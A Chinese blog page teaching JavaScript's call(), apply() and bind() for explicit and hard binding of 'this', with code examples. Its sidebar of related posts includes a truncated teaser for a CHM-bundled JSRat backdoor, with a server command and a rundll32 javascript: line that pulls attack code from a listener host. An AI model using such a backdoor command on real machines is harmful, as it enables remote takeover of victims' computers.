【JS进阶】显式绑定与硬绑定

Selenium页面跳转等待策略:从隐式到显式,解决元素定位失败难题 在Web自动化测试与数据抓取领域,页面异步加载和动态内容更新是常见挑战。其核心原理在于浏览器渲染、网络请求与自动化脚本执行之间的时序差异。理解DOM稳定性和网络空闲状态是构建稳健自动化流程的技术基础。通过有效的等待机制,可以确保脚本在页面内容完全就绪后再进行操作,从而提升自动化任务的可靠性和数据抓取的成功率。本文聚焦Selenium中的页面跳转问题,深入探讨了隐式等待与显式等待的本质区别,并提供了处理复杂异步加载、框架应用及反爬检测的实战解决方案,帮助开发者构建高效、稳定的自动化脚本体系。 阅读详情

显式绑定与硬绑定 — call、apply和bind

1.显式绑定 — call、apply

JS中有一个关键概念叫执行上下文,也就是 JS 代码被解析和执行时的环境。

在执行上下文的创建阶段,会确定当前执行上下文中 this 指针的指向。

而call(),apply(),bind()的作用,就是调⽤⼀个对象的⽅法,改变函数执行时的上下文,即改变函数内部的this指向。

其中,用call(),apply()改变this指向的操作,被称为显式绑定。

1.1 call()

call()方法实际上是函数对象 Function 的原型上的一个方法,可以用来调用普通函数、父类构造函数、匿名函数等。

同时,使用call()方法让我们可以只写一次某个函数,然后在另一个对象中用call()方法调用它从而继承这个方法,而不用在这个对象中重复写该方法。

其语法如下:

f1.call(thisArg, arg1, arg2, ...)

其参数如下:

  1. thisArg:接收一个对象,即调用call()后,函数内部的this将会指向这个对象。

    这个参数是可选的,当不传入该参数时(或将该值指定为null或者undefined时),在非严格模式下,函数内部的this会指向全局对象window;而在严格模式下, this会指向undefined。

    例如:

    //非严格模式下
    var sData = 'marshall';
    
    function display(){
        console.log("sData's value is %s",this.sData);
    }
    
    display.call();  // sData value is marshall
    
    //严格模式下
    var sData = 'marshall';
    
    function display(){
        console.log("sData's value is %s",this.sData);
    }
    
    display.call();  // Cannot read the property of 'sData' of undefined
    
  2. arg1, arg2, …

    即调用函数时指定的参数列表。

    例如:

    let arr1 = [1, 2, 3];
    //用call方法调用数组对象原型上的push方法
    Array.prototype.push.call(arr1, 4, 5, 6);
    //这里也可以使用ES6中的扩展运算符
    let arr2 = [4, 5, 6];
    Array.prototype.push.call(arr1, ...arr2);
    
1.2 apply()

apply()方法也是函数对象 Function 的原型上的一个方法。其效果与call()几乎完全一样。

其语法如下:

f1.apply(thisArg)
f1.apply(thisArg, argsArray)

其参数如下:

  1. thisArg:接收一个对象,即调用apply()后,函数内部的this将会指向这个对象。

    这个参数是可选的,当不传入该参数时(或将该值指定为null或者undefined时),在非严格模式下,函数内部的this会指向全局对象window;而在严格模式下, this会指向undefined。

    例如:

    //非严格模式下
    var sData = 'marshall';
    
    function display(){
        console.log("sData's value is %s",this.sData);
    }
    
    display.call();  // sData value is marshall
    
    //严格模式下
    var sData = 'marshall';
    
    function display(){
        console.log("sData's value is %s",this.sData);
    }
    
    display.call();  // Cannot read the property of 'sData' of undefined
    
  2. argsArray

    一个数组或者类数组对象,其中的数组元素将作为单独的参数传给 f1 函数。如果该参数的值为 null 或 undefined,则表示不需要传入任何参数。

    例如:

    var array = ['marshall','eminem'];
    var elements = [0,1,2];
    array.push.apply(array,elements);
    console.log(array);  //['marshall','eminem',0,1,2]
    
2.call和apply的区别
区别

它们的作用一模一样,区别仅在于传入参数形式的不同。

apply接受两个参数,第一个参数指定了函数体内this对象的指向,第二个参数为一个带下标的集合,这个集合可以为数组,也可以为类数组,apply方法把这个集合中的元素作为参数传递给调用的函数:

const func = function(a,b,c){
    console.log([a,b,c]);
}
func.apply(null, [1,2,3]);

这段代码中,参数 1、2、3 被放在数组中一起传入 func 函数,它们分别对应 func 参数列表中的 a 、b 、c。

call传入的参数数量不固定,跟apply相同的是,第一个参数也是代表函数体内的this指向,从第二个参数开始往后,每个参数被依次传入函数:

const func = function(a,b,c){
    console.log([a,b,c]);
}
func.call(null, 1, 2, 3);

调用一个函数时,JavaScript 的解释器并不会计较形参和实参在数量、类型以及顺序上的区别,JavaScript 的参数在内部就是用一个数组来表示的。

从这个意义上说,apply比call的使用率更高,不关心具体多少参数被传入函数,只要用apply一股脑地推过去就可以了。

什么时候用call()?

call是包装在apply上的一颗语法糖,如果明确地知道函数接收多少个参数,而且想一目了然地表达形参和实参的对应关系,那么可以用call来传送参数。

3.call和apply的应用场景
a.函数之间的相互调用
b.构造函数之间的调用 — 实现属性的继承
c.多重继承
  1. 场景一:利用 apply 实现 Math.max 找出数组的最大值

    因为Math.max不支持Math.max([param1,param2])也就是数组,但是它支持Math.max(param1,param2...),所以可以根据apply的特点来解决。

    var max=Math.max.apply(null,array),这样就轻易的可以得到一个数组中的最大项(apply会将一个数组转换为一个参数接一个参数的方式传递给方法)

  2. 场景二:利用apply实现 Array.prototypy.push 合并数组

    其实这里也是同理,push方法没有提供push一个数组,但是它提供了push(param1,param2...paramN),同样也可以用apply来转换一下这个数组,即:

    var arr1 = new Array('1', '2', '3');
    var arr2 = new Array('4', '5', '6');
    Array.prototype.push.apply(arr1, arr2);
    
d.类数组共用数组方法

2.bind基础语法

bind() 方法创建一个新的函数,在 bind() 被调用时,这个新函数的 this 被指定为 bind() 的第一个参数,而其余参数将作为新函数的参数,供调用时使用。

其语法如下:

function.bind(thisArg[, arg1[, arg2[, ...]]])

参数:

  1. thisArg:调用绑定函数时作为this参数传递给目标函数的值。如果使用new运算符构造绑定函数,则忽略该值。当使用 bind 在 setTimeout 中创建一个函数(作为回调提供)时,作为 thisArg 传递的任何原始值都将转换为 object。如果 bind 函数的参数列表为空,或者thisArg是null或undefined,执行作用域的 this 将被视为新函数的 thisArg。
  2. arg1, arg2, ...:当目标函数被调用时,被预置入绑定函数的参数列表中的参数。

bind()方法会返回一个原函数的拷贝,并拥有指定的this值和初始参数。

3.bind方法的效果

bind() 函数会创建一个新的绑定函数(bound function,BF)。绑定函数是一个 exotic function object(怪异函数对象,ECMAScript 2015 中的术语),它包装了原函数对象。调用绑定函数通常会导致执行包装函数。 绑定函数具有以下内部属性:

  • [[BoundTargetFunction]] - 包装的函数对象
  • [[BoundThis]] - 在调用包装函数时始终作为 this 值传递的值。
  • [[BoundArguments]] - 列表,在对包装函数做任何调用都会优先用列表元素填充参数列表。
  • [[Call]] - 执行与此对象关联的代码。通过函数调用表达式调用。内部方法的参数是一个this值和一个包含通过调用表达式传递给函数的参数的列表。

当调用绑定函数时,它调用 [[BoundTargetFunction]] 上的内部方法 [[Call]]。

就像这样 xx.call(boundThis, args)。其中,boundThis 就是 [[BoundThis]],args 则是 [[BoundArguments]] 加上通过函数调用传入的参数列表,而xx就是被包装的函数对象,即 [[BoundTargetFunction]] 。

4.bind方法的应用场景

1.创建(硬)绑定函数

bind() 最简单的用法是创建一个绑定函数,不论怎么调用,这个函数都有同样的this值。

JavaScript 新手经常犯的一个错误是将一个方法从对象中拿出来,然后再调用,期望方法中的 this 是原来的对象(比如在回调中传入这个方法)。如果不做特殊处理的话,一般会丢失原来的对象,实际上也就是this绑定丢失的问题。

例如:

function afun() {
    console.log(this.a);
}

var obj = {
    a: 1,
    afun: afun
};

var a = "hello";

setTimeout(obj.afun, 100);//"hello"

可以看到,这里将obj.fun传入作为回调函数后,this的绑定丢失,导致输出了作为全局变量的a。

而bind可以用来解决这一问题:

this.x = 9;    // 在浏览器中,this 指向全局的 "window" 对象
var module = {
  x: 81,
  getX: function() { return this.x; }
};

module.getX(); // 81

var retrieveX = module.getX;
retrieveX();
// 返回 9 - 因为函数是在全局作用域中调用的

// 利用bind把 'this' 绑定到 module 对象
// 创建一个对象,接收bind返回的函数
// 新手可能会将全局变量 x 与 module 的属性 x 混淆
var boundGetX = retrieveX.bind(module);
boundGetX(); // 81
2.偏函数

bind() 的另一个最简单的用法是使一个函数拥有预设的初始参数。只要将这些参数(如果有的话)作为 bind() 的参数写在 this 后面。当绑定函数被调用时,这些初始的参数会被插入到目标函数的参数列表的开始位置,而调用时传递给绑定函数的参数会跟在它们后面。

function list() {
  return Array.prototype.slice.call(arguments);
}

function addArguments(arg1, arg2) {
    return arg1 + arg2
}

var list1 = list(1, 2, 3); // [1, 2, 3]

var result1 = addArguments(1, 2); // 3

// 创建一个函数,它拥有预设参数列表。
var leadingThirtysevenList = list.bind(null, 37);

// 创建一个函数,它拥有预设的第一个参数
var addThirtySeven = addArguments.bind(null, 37);

var list2 = leadingThirtysevenList();
// [37]

var list3 = leadingThirtysevenList(1, 2, 3);
// [37, 1, 2, 3],可以看到后来传入的参数是跟在预设参数后面的

var result2 = addThirtySeven(5);
// 37 + 5 = 42

var result3 = addThirtySeven(5, 10);
// 37 + 5 = 42,后来传入的参数是跟在预设参数后面,而原函数仅接收两个参数,所以第二个参数被忽略
3.配合setTimeout

在默认情况下,使用 window.setTimeout() 时,this 关键字会指向 window(或 global)对象。当类的方法中需要 this 指向类的实例时,你可能需要显式地把 this 绑定到回调函数,就不会丢失该实例的引用。

function LateBloomer() {
  this.petalCount = Math.ceil(Math.random() * 12) + 1;
}

// 在 1 秒钟后声明 bloom
LateBloomer.prototype.bloom = function() {
  window.setTimeout(this.declare.bind(this), 1000);
};

LateBloomer.prototype.declare = function() {
  console.log('I am a beautiful flower with ' +
    this.petalCount + ' petals!');
};

var flower = new LateBloomer();
flower.bloom();  // 一秒钟后,调用 'declare' 方法
4.快捷调用

在你想要为一个需要特定的 this 值的函数创建一个**捷径(shortcut)**的时候,bind() 也很好用。

你可以用 Array.prototype.slice 来将一个类似于数组的对象(array-like object)转换成一个真正的数组,就拿它来举例子吧。你可以简单地这样写:

var slice = Array.prototype.slice;

// ...

slice.apply(arguments);

用 bind()可以使这个过程变得简单。在下面这段代码里面,slice 是 Function.prototype 的 apply() 方法的绑定函数,并且将 Array.prototype 的 slice() 方法作为 this 的值。这意味着我们压根儿用不着上面那个 apply()调用了。

// 与前一段代码的 "slice" 效果相同
var unboundSlice = Array.prototype.slice;
var slice = Function.prototype.apply.bind(unboundSlice);

// ...

slice(arguments);
mingle:MINGLE边缘捆绑算法的JS实现 JavaScript中的多级聚集边缘捆绑 这是的论文《 (Emden R. Gansner,Yifan Hu,Stephen North,Carlos Scheidegger)JavaScript实现。 边缘捆绑算法将边缘分组在一起,以最大程度地减少用于绘制图形的墨水量。 这篇特殊的论文介绍了一种执行边缘捆绑的快速技术。 以这张连接美国东海岸和西欧之间位置的地图为例: 该算法为边缘创建一个邻近图,其中每个边缘由一个节点表示。 然后,只要我们在最终渲染中节省了一些墨水,该算法就会捆绑边缘。 这是捆绑动画的中间步骤: 这是最终结果: 此实现仅基于本文。 该代码的许可证是MIT。 例子 这个简单的示例显示了连接海湾地区位置的链接。 渲染使用2D Canvas,但可以使用任何其他渲染API。 。 用法 给定一个由元素数组组成的数据集,其格式为: { "id": <st 立即下载

相关推荐

algoliasearch-extensions-bundle:捆绑jQuery,autocomplete.js和Instantsearch.js以用于algoliasearch扩展集成

algoliasearch-extensions-bundle 捆绑, & 到propulse Algolia供电的扩展和插件。 主要供内部阿尔戈利亚使用,可公开获得,以提高透明度和简化部署。 建立分支 master -Magento 1(前,后) ISv2 -Magento 2 v1.x(前,后) ISv4 -Magento 2 v2.x / 3.x(正面) adminBundle -Magento 2 v2.x / 3.x(返回) 安装部门 yarn 调试实时捆绑版本 在使用此捆绑包的网站上的任何时候,您都可以通过查看window.algoliaBundle内部来检查依赖项的确切版本。 开发者 npm run watch 然后将集成指向加载http://localhost:8080/algoliaBundle.js 。 您将获得捆绑包以及源地图,还可以: cd ins

JavaScript中的this关键字

当函数独立调用时(不作为对象方法, 不通过call/apply/bind,也不是构造函数),//输出 "你好,我是undefined"-this指向全局对象或undefined。//this指向外层作用域(这里是window或undefined)//输出 undefined(严格模式)或空字符串(非严格模式)//非严格模式指向window,严格模式undefined。// 这里的this指向window/undefined。//浏览器中输出 window(非严格模式)

lzhdim的专栏 1130

手把手教你调试eDP接口:Main Link信号异常、AUXCH通信失败怎么办?

本文提供了一份详尽的eDP接口调试实战指南,重点解决Main Link信号异常与AUXCH通信失败两大核心难题。文章系统介绍了从工具准备、信号完整性分析(眼图、抖动测量)到AUXCH协议解码、HPD信号检查的完整排查流程,并分享了链路训练诊断与常见避坑技巧,帮助硬件工程师高效定位并解决显示问题。

Jerry的专栏 828

CHM + JSBackdoor捆绑后门

CHM + JSBackdoor捆绑后门 使用交互模式的JSRat server: #!bash python MyJSRat.py -i 192.168.1.101 -p 8080 访问 http://192.168.1.101:8080/wtf 获取攻击代码如下: #!bash rundll32.exe javascript:"\..\ms...

journeyIT的博客 1836

光伏发电系统模拟及其发电预测开源python工具pvlib

本文介绍光伏发电系统模拟及其发电预测开源python工具pvlib,以及举例介绍获取辐照度方法、光伏发电预测思路。

肖永威的专栏 1万+

【STM32F042】使用NTC热敏电阻实现温度测量

1.NTC介绍 NTC是负温度系数的简写,全称是Negative temperature coefficient.意思是随着温度的升高,电阻值呈现下降趋势。常用作温度传感器。这里有一个式子表示负温度系数的电阻值: RT=R0*exp(B (1/T-1/T0)) RT为周围温度为T (K) 时的电阻值,R0是周围温度为T0(K) 时的电阻值,注意这里的温度是开...

BadBoyHolly的博客 3万+

第三篇:JavaScript 基础语法全解 + TaskFlow 逻辑实现

本文系统讲解 JavaScript 基础语法,涵盖变量声明、作用域、数据类型、类型转换、运算符、流程控制、函数、数组与对象等核心概念,并深入解析 this、闭包、模块化(ES Modules)及错误处理。结合项目实战,实现 TaskFlow 的数据层逻辑,为后续 DOM 交互奠定基础。强调现代规范:优先使用 const/let,避免 var,掌握模块化开发与调试技巧。

810cheng 1061

AVM环视:系统搭建整体流程

文章目录前言一、畸变矫正鱼眼相机二、透视变换三、图像拼接四、图像融合总结 前言 由于正在做AVM环视,所以记录一下整个过程,归纳为一个系列文章,并对期间遇到的错误进行归纳整理。本文主要概括了AVM环视的大致流程和逻辑,不涉及代码部分,仅供思路参考,其中涉及的具体技术会在后期整理为小章节进行分析。 一、畸变矫正 鱼眼相机 做环视基本上使用到的是鱼眼照片,因为鱼眼相机的视角范围可以达到220°到230°,所以一个相机就可以采集到一个面的全部信息,例如汽车具有四个面,那么在汽车的前后左右分别安装一个鱼眼相机.

qq_34468890的博客 6536

javascript:继 JavaScript 模块入门,再详解“模块捆绑”

http://alpha.wallhaven.cc/wallpaper/33246 在这篇文章的第一部分,我谈到了什么是模块,开发者为什么使用它们,以及,在你的程序中实现模块的不同方式。 在这第二部分,将会回答捆绑模块到底意味着什么:为什么要捆绑,捆绑的不同方法,以及在网页开发中模块的未来发展。 1. 什么是模块捆绑 抽象的概括,模块捆绑就是这样一个简单的处理:把一组模块以

Sunny 3792

无人机飞控技术最详细解读

已剪辑自: https://zhuanlan.zhihu.com/p/64519280[导读]被称作是“飞行器的大脑”的飞控到底是什么?以前,搞无人机的十个人有八个是航空、气动、机械出身,更多考虑的是如何让飞机稳定飞起来、飞得更快、飞得更高。如今,随着芯片、人工智能、大数据技术的发展,无人机开始了智能化、终端化、集群化的趋势,大批自动化、机械电子、信息工程、微电子的专业人材投入到了无人机研发大潮中,几年的时间让无人机从远离人们视野的军事应用飞入了寻常百姓家、让门外汉可以短暂的学习也能稳定可靠的飞行娱乐。不可

qq_41854911的博客 1万+

[QMT量化交易小白入门]-六十九、ETF动量评分策略,历史年化收益率107%

C . bar_date } 跳过') returnC . bar_date } 跳过') returnC . bar_date } 跳过') return作用:如果当前不是回测模式且不是最后一根K线,则记录日志并跳过本次任务。这是为了避免在实时交易中对尚未完成的数据进行处理。

木头大左的博客 2228

JS 中的 bind,本质到底是什么?一篇文章让你彻底记住

JS中的bind方法不仅用于绑定this,还会返回一个新函数,该函数通过闭包和apply实现"硬绑定"和参数预绑定。与call/apply不同,bind不立即执行函数,且支持柯里化(部分参数绑定)。核心原理是保存原函数并包装新函数,处理new调用时优先级更高。

前端 + GIS开发工程师,专注WebGIS与三维可视化,分享地图开发与工程化实践。 485

基于Mask-RCNN网络的书架图书书脊分割和检测(含代码)

图书馆的书架上的图书书脊分割/检测对于图书书名等信息的识别具有重要意义,因此,该博客基于Mask-RCNN网络实现了图书书脊的分割和检测,有利于进一步利用ocr文字识别技术实现图书书名等信息的入库。如下图所示,为书架原始数据和分割/检测后的结果。(本文已训练模型,无需训练)

qq_44619530的博客 2025

js 五种绑定彻底弄懂this,默认绑定、隐式绑定、显式绑定、new绑定、箭头函数绑定详解

核心竞争力,怎么才能提高呢?成年人想要改变生活,逆转状态?那就开始学习吧~万事开头难,但是程序员这一条路坚持几年后发展空间还是非常大的,一切重在坚持。为了帮助大家更好更高效的准备面试,特别整理了《前端工程师面试手册》电子稿文件。

2401_84097996的博客 813

国产麒麟V10系统命令大全,100个实用命令助你玩转系统!

国产麒麟V10系统命令大全,100个实用命令助你玩转系统!

网络技术联盟站 1908

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

JS 中 this 的全面解析 —— 绑定规则与实战避坑

this是 JavaScript 的核心关键字,其本质是函数执行时的上下文对象,指向并非在函数定义时确定,而是在函数调用时确定—— 这是理解this的第一原则。本文将从this的本质出发,讲解 5 种核心绑定规则及优先级,分析箭头函数的this特性,解决开发中this丢失、指向错误的各类问题,让你彻底掌握this的指向逻辑。

阿雷编程实战 1845

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

ER-Save-Editor免费艾尔登法环存档编辑器:SteamID迁移与Build调教完整指南

ER-Save-Editor 是一款免费的开源艾尔登法环(Elden Ring)存档编辑器,用 Rust 编写,带图形界面。它能直接解析 `.sl2` 存档的二进制结构,在窗口里完成修改存档 SteamID、编辑角色属性、批量塞装备、开关赐福点与 Boss 状态等操作,同时兼容 PC 原版存档和 PlayStation 通过 Save Wizard 导出的存档。 ## 场景:为什么把 .sl2

gitblog_00904的博客 162

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

显式捕获设计:解构JavaScript闭包陷阱与工程实践

闭包是编程语言中连接函数与其词法环境的核心机制,在异步编程和事件处理中广泛应用。然而,JavaScript默认的隐式捕获常导致循环变量共享、定时器输出异常等问题。理解捕获时机与引用语义,是避免踩坑的关键。显式捕获通过明确指定捕获变量和方式(如值捕获、引用捕获),提升了代码的可读性与可维护性。在实际工程中,利用let块级作用域、IIFE、bind绑定和工厂函数等手段,可以模拟显式捕获效果,有效解决for循环闭包问题。本文对比C++、Rust、Swift等语言的显式捕获设计,并给出重构实践和工程规范,帮助开发者

weixin_34195142的博客 544

Textus 导出全指南:PDF、Word、HTML 一键转换不踩坑

[![Textus 所见即所得 Markdown 编辑器界面](https://raw.gitcode.com/gh_mirrors/text/Textus/raw/39fb16bc9fe80c25c17ad1bf848dee470c28ff47/docs/images/readme/zh/markdown.webp?utm_source=gitcode_repo_files)](https://

gitblog_00115的博客 461

JavaScript中,this的绑定规则

对于 JavaScript 新手来说,this 是非常基础同时也难以理解的知识点。 比如下面的代码,this 指向就有三种方式。 在《你不知道的 JavaScript》一书中,我总算比较清晰理解了 this。 this 就是函数运行时所在的环境对象,它指向运行时所在的位置,而不是定义时的位置。 根据 this 绑定规则,分为下面四种: 1. 默认绑定 2.隐式绑定 ...

weixin_44542399的博客 221

this 指向与绑定

在 ECMAScript 中,this 是函数执行时的上下文引用,其指向不由函数书写位置单独决定,而主要依赖调用方式(以及是否箭头函数等规则)。理解默认绑定、隐式绑定、显式绑定、new 绑定四条规则,以及箭头函数词法 this,才能正确阅读异步回调、事件处理、call /apply/bind 等代码。本文与知识大纲第 5 节及笔记中「this 指向」一节对齐,并补充 call /apply/bind 的要点与简易实现思路。

xiaofeichaichai的博客 547

【JavaScript 中 this 的静态绑定与动态绑定区别和用法】

JavaScript 中 this 的静态绑定与动态绑定区别和用法

weixin_44707615的博客 909

JavaScript中this指向哪儿?如何确定this?-前端面试进阶

看了前面两章节,我们大概能理解this是什么?它其实就是一个执行上下文中的一个属性,大家也可以简单的把this当作一个对象,只不过该对象指向哪儿是在函数调用的时候确定的。我们简单总结一下thisthis是在运行时绑定的,不是在编写时绑定this的绑定与函数的声明和位置没有任何关系函数在调用时,会创建一个执行上下文,this就是这个执行上下文中的一个属性,在函数执行的时候可以用到this。所以this是在函数调用的时候确定绑定关系的,也就是运行时。所以,this就是一个对象,this。

loveX001的博客 844

Folia 完全安装指南:Windows、macOS、Arch 三条路线装好全屏歌词音乐播放器

Folia 把歌词渲染成全屏动画,把本地曲库和在线音乐塞进同一个播放界面。你现在的卡点:官方包下载挪不动、环境乱、拿不准该选哪个包。这份指南给你 3 条互不相干的路线,对号入座挑一条,30 分钟内跑完收工。 ## 装完核对这 3 处,全过才算收工 ✅ 启动应用后,肉眼可见的验收点就这三条: 1. 随便放一首歌,歌词立刻变成全屏沉浸式动画,整个窗口就是舞台; 2. 网易云、QQ 音乐、酷狗、N

gitblog_01150的博客 172
上一篇: 【Vue3基础】Vue3 组件间通信
下一篇: 【Vue3基础】依赖注入 — Provide/Inject
cannotbecounted
博客等级 码龄7年 101粉丝 59原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值